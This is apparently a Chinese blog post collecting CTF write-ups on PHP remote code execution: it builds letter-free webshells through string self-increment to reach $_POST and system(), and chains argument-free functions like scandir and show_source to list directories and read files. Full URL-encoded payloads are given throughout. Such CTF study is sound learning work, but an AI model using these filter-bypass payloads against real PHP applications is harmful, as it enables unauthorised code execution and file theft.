一些RCE的汇总
RCE
- 自增RCE
- 參考[CTFshow-RCE極限大挑戰官方wp]
- RCE-1[過濾.(]
- RCE-2p[自增-Array]
- RCE-3[自增-NAN-<=105字符]
- RCE-4[自增-NAN-<=84字符]
- RCE-5[自增-gettext擴展]
- 72位字符
- 68位字符
- 無參數RCE
- 參考[RCE篇之無參數rce]
- 介紹
- 例題
- 一些能用上的函數
前兩天剛好ctfshow有個RCE極限大挑戰,看著還挺好玩的,稍微摸了幾個博客總結一下,感受感受大佬們的繞過技巧和思路。
直接照搬好像又不太合適,加一點點個人見解好了。
自增RCE
參考[CTFshow-RCE極限大挑戰官方wp]
wp指路
CTFshow-RCE極限大挑戰官方wp
開始復現
RCE-1[過濾.(]
題目源碼
<?php error_reporting(0); highlight_file(__FILE__); $code = $_POST['code']; $code = str_replace("(","括號",$code); $code = str_replace(".","點",$code); eval($code); ?>過濾了(和.,wp有寫文件包含,ls看了一眼直接開擺
因為php的反引號可以執行系統命令,就可以直接POST得到flag
RCE-2p[自增-Array]
題目源碼
<?php //本題靈感來自研究Y4tacker佬在吃瓜杯投稿的shellme時想到的姿勢,太棒啦~。 error_reporting(0); highlight_file(__FILE__); if (isset($_POST['ctf_show'])) {$ctfshow = $_POST['ctf_show'];if (is_string($ctfshow)) {if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){eval($ctfshow);}else{echo("Are you hacking me AGAIN?");}}else{phpinfo();} } ?>禁用了字母數字和很多符號,可以用的符號有’$_;+,可以確定是按照自增的方式來構造webshell進行RCE,payload構造過程:
從這里開始進入正題了,由于異或^和取反~都被過濾了,就可以用到數組[]和遞增++了
先解釋,順便把RCE-345里用到的N解釋一下
將數據類型轉換成字符串型,就能得到數據類型相對應的字符串
exp就直接照抄了,因為0被過濾了,就只能用數組的A來自增了
通過url編碼后用Burpsuite工具POST上傳即可
HackbarPOST的url編碼會被以另一種編碼上傳到服務器,導致數據失真
RCE-3[自增-NAN-<=105字符]
題目源碼
<?php //本題靈感來自研究Y4tacker佬在吃瓜杯投稿的shellme時想到的姿勢,太棒啦~。 error_reporting(0); highlight_file(__FILE__); if (isset($_POST['ctf_show'])) {$ctfshow = $_POST['ctf_show'];if (is_string($ctfshow) && strlen($ctfshow) <= 105) {if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){eval($ctfshow);}else{echo("Are you hacking me AGAIN?");}}else{phpinfo();} } ?>可以看到01被放出來了,然后限制了長度為105字符
用RCE-2提到的(0/0)得到N,然后自增構造出$_POST一句話木馬,過程wp里的注釋已經清楚明了了
然后常規變量名替換成不可見字符變量名,得到payload:
ctf_show=$%ff=(0/0);$%ff.=_;$%ff=$%ff[0];$%ff%2b%2b;$%fd=$%ff%2b%2b;$%fe=$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$%fc=$%ff%2b%2b;$%fb=$%ff;$_=_;$_.=$%fe.$%fd.$%fc.$%fb;$$_[0]($$_[1]);&0=system&1=cat /f1agaaaRCE-4[自增-NAN-<=84字符]
題目源碼
<?php //本題靈感來自研究Y4tacker佬在吃瓜杯投稿的shellme時想到的姿勢,太棒啦~。 error_reporting(0); highlight_file(__FILE__); if (isset($_POST['ctf_show'])) {$ctfshow = $_POST['ctf_show'];if (is_string($ctfshow) && strlen($ctfshow) <= 84) {if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){eval($ctfshow);}else{echo("Are you hacking me AGAIN?");}}else{phpinfo();} } ?>開始上難度了,84字符,只可以用數字0,那么不影響我們使用(0/0)來構造NAN, 但是更為優秀的寫法可以是$a=(_/_._)[0]直接得到字母N,同時$a=(0/0._)會出現語法報錯。
先演示
payload構造過程:
<?php $a=(_/_._)[0];//直接拼接成字符串并切片 $o=++$a;//$o=++$a是先把$a進行自增,自增完成之后再將值返回,也就是這一句結束的時候 $a和$o都是O $o=++$a.$o;//$o=>PO,$a=>P $a++;//Q $a++;//R $o.=++$a;//$o=>POS,$a=>S $o.=++$a;//$o=>POST,$a=>T $_=_.$o;//_POST $$_[0]($$_[_]);//$_POST[0]($_POST[_]);同上
ctf_show=$%ff=(_/_._)[0];$%fe=%2b%2b$%ff;$%fe=%2b%2b$%ff.$%fe;$%ff%2b%2b;$%ff%2b%2b;$%fe.=%2b%2b$%ff;$%fe.=%2b%2b$%ff;$_=_.$%fe;$$_[0]($$_[_]);&0=system&_=cat /f1agaaaRCE-5[自增-gettext擴展]
題目源碼
<?php //本題靈感來自研究Y4tacker佬在吃瓜杯投稿的shellme時想到的姿勢,太棒啦~。 error_reporting(0); highlight_file(__FILE__); if (isset($_POST['ctf_show'])) {$ctfshow = $_POST['ctf_show'];if (is_string($ctfshow) && strlen($ctfshow) <= 73) {if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){eval($ctfshow);}else{echo("Are you hacking me AGAIN?");}}else{phpinfo();} } ?>可以劃重點記一下gettext的這個特性
限制73個字符,而且0也不可以用了,但是這里觀察到phpinfo安裝了一個擴展gettext,該擴展支持函數_() ,相當于gettext(),直接轉化為字符串。另外,其實數組下標使用未定義常量,php會warning,但是可以繼續運行,并返回下標為0的字符(現象是這樣但是實際機制需要看php源碼)。其余知識點上面都已經講過了,剩下的就是靠經驗和積累對payload進行精簡,下面是payload構造過程:
更改變量名
ctf_show=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);&_=system&%ff=cat /f1agaaa72位字符
$$yysd
另外說一下,被師傅們拿到了72位字符的方法,感謝@貍師傅、@yun0tian等師傅們的創意,下面是payload構造過程:
<?php $a=_(a/a)[a];//N ++$a;//O $_=$a.$a++;//PO $a++;$a++;//R $_=_.$_.++$a.++$a;//_POST $$_[a]($$_[_]);//$_POST[a]($_POST[_])PAYLOAD
ctf_show=$%ff=_(%ff/%ff)[%ff];%2b%2b$%ff;$_=$%ff.$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$_=_.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);&%ff=system&_=cat /f1agaaa關于為什么$_=$a.$a++;//PO,這還真說不出來,只能說,不管是$a++還是++$a,都是先第一位++,然后再照常執行++,先記著吧,后面萬一想看php內核了就去研究一下
<?php $d=1; $c=$d.$d++.$d++.$d++.$d++.$d++.$d++.$d++.$d++; echo $c."<br>"; $d=1; $c=$d.++$d.++$d.++$d.++$d.++$d.++$d.++$d.++$d; echo $c; ?>68位字符
這個是真神,解釋了我也看不懂
師傅們實在是太強了,目前在有gettext環境下,最短的payload長度是68!payload構造過程:
$_=_(a/a)[_];//N $a=++$_;//O $$a[$a=_.++$_.$a[$_++/$_++].++$_.++$_]($$a[_]);//巧妙的把兩次$_++放在一起上面第三行其實可以分開來看,php在執行的時候會先對方括號里面的內容進行解析
$a=_.++$_.$a[$_++/$_++].++$_.++$_//$a直接拼接出_POST $$a[_POST]($$a[_])//$_POST[_POST]($_POST[_])因為$a還沒賦值,此時仍為O,所以$a[$_++/$_++]因為下標為NAN不存在就取第一位了
真的是奇思妙想,尤其是$a[$_++/$_++]這個操作,把兩個$_++;結合在一起,雖然比分開來寫多用了一個字符,但是可以把拼接_POST的操作合并在同一行里,反而節省了更多字符。實在是太強了,感謝@lazy_forever、@Article_kelp師傅的創意。
PAYLOAD2
g4_simon:感謝師傅們的積極參與,我也在出題過程中學到了很多,師傅們在幾小時內就把我研究了四天四夜的題給殺穿了,甚至比我想象的還要極限。本身CTF就是一個不斷超越自己、超越極限的過程,希望這幾個題能給師傅們帶來一些啟發。
啟發,好大的啟發。
無參數RCE
參考[RCE篇之無參數rce]
參考
RCE篇之無參數rce
PHP無參數RCE
無參數rce
淺談無參數RCE
無參數RCE總結及文件讀取學習
介紹
無參數rce,就是說在無法傳入參數的情況下,僅僅依靠傳入沒有參數的函數套娃就可以達到命令執行的效果。
核心代碼
這段代碼的核心就是只允許函數而不允許函數中的參數.通過正則匹配將不帶函數的函數替換為空,若最終結果為;則執行eval($_GET[‘code’]);
此時只能用 a(b(c()));來RCE而不是a(b(c));
例題
先來個buuctf的例題 GXY_CTF “禁止套娃”
.git源碼泄露得到index.php
三個正則,第一個禁用了一些偽協議,第二個就是無參數RCE,第三個過濾一些關鍵詞。
最總Payload為:
第一條從里向外解釋一下
localeconv()
php直接var_dump()可以得到
pos()
pos()是PHP中的內置函數,用于返回內部指針當前指向的數組中元素的值。pos()是current()的別名 與其同時使用的還有 next()指針后移并輸出內容 prev()指針前移并輸出內容scandir()就是目錄遍歷。
連起來就是scandir(pos(localeconv()));等價于scandir('.');
print_r輸出當前內容,達到一個目錄遍歷的效果。
第二條
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
array_reverse()翻轉數組
然后next()獲取到’flag.php’字符串,由于next()后的結果為字符串,所以不能next(next(Array)),局限性還是蠻大的
最后show_source()函數高亮文本內容得到flag
一些能用上的函數
getenv()獲取當前環境變量 get_defined_vars()返回由所有已定義變量所組成的數組獲取的四個全局變量$_GET、$_POST、$_FILES、$_COOKIE,返回一個二維數組 array_flip()交換數組中的鍵和值 array_rand()從數組中隨機取出一個或多個單元 array_reverse()返回單元順序相反的數組 array_flip()交換數組中的鍵和值 current()、pos()返回數組中的當前單元 getallheaders()這個函數的作用是獲取http所有的頭部信息 session_id()讀取session,主要用法為session_id(session_start()) file_get_contents()將整個文件讀入一個字符串 readfile()讀取文件并寫入到輸出緩沖。 highlight_file()或show_source() — 語法高亮一個文件 getcwd()取得當前工作目錄 scandir()列出指定路徑中的文件和目錄 chdir()改變目錄 dirname()返回路徑中的目錄部分 rand()產生一個隨機整數 chr()返回指定的字符 time()返回當前的 Unix 時間戳 localtime()取得本地時間localtime(time()) 返回一個數組,Array [0] 為一個 0~60 之間的數字hex2bin()轉換十六進制字符串為二進制字符串 ceil()進一法取整 sinh()雙曲正弦 cosh()雙曲余弦 tan()正切 floor():舍去法取整 sqrt()平方根 crypt()單向字符串散列hebrevc:將邏輯順序希伯來文(logical-Hebrew)轉換為視覺順序希伯來文(visual-Hebrew),并且轉換換行符 hebrevc(crypt(arg)) [crypt(serialize(array()))]:可以隨機生成一個 hash 值 第一個字符隨機是 $(大概率) 或者 .(小概率) 然后通過 ord chr 只取第一個字符 ord()返回字符串的第一個字符的 ASCII 碼值。獲得當前目錄文件
var_dump(scandir(getcwd())); var_dump(scandir(current(localeconv())); var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))); //利用三角函數和floor ceil,這個是php7下能夠成功獲得上級目錄文件
var_dump(scandir(dirname(getcwd()))); var_dump(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))));//這種方法理論上來說,每隔47秒才能成功執行一次 var_dump(scandir(chr(ceil(sqrt(cosh(tan(tan(tan(cosh(sinh(exp(chdir(next(scandir(pos(localeconv()))))))))))))))));總結
- 上一篇: 00. 线性代数的本质
- 下一篇: 联想拯救者15isk-i5版加装固态硬盘